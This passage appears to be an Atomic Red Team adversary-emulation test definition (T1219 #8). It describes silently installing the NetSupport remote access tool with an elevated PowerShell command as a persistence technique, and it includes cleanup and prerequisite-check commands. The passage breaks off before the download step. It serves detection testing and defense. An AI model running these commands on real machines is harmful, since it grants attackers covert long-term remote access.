+## Atomic Test #8 - NetSupport - RAT Execution
+A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** ecca999b-e0c8-40e8-8416-ad320b146a75
+
+
+
+
+
+#### Inputs:
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| NetSupport_Path | Path to the NetSupport executable. | Path | $env:temp&#92;T1219Setup.exe|
+
+
+#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 
+
+
+```powershell
+Start-Process #{NetSupport_Path} -ArgumentList "/S /v/qn"
+```
+
+#### Cleanup Commands:
+```powershell
+Stop-Process -Name "client32" -force -erroraction silentlycontinue
+```
+
+

+#### Dependencies:  Run with `powershell`!
+##### Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})
+##### Check Prereq Commands:
+```powershell
+if (Test-Path #{NetSupport_Path}) {exit 0} else {exit 1}
+```
+##### Get Prereq Commands:
+```powershell
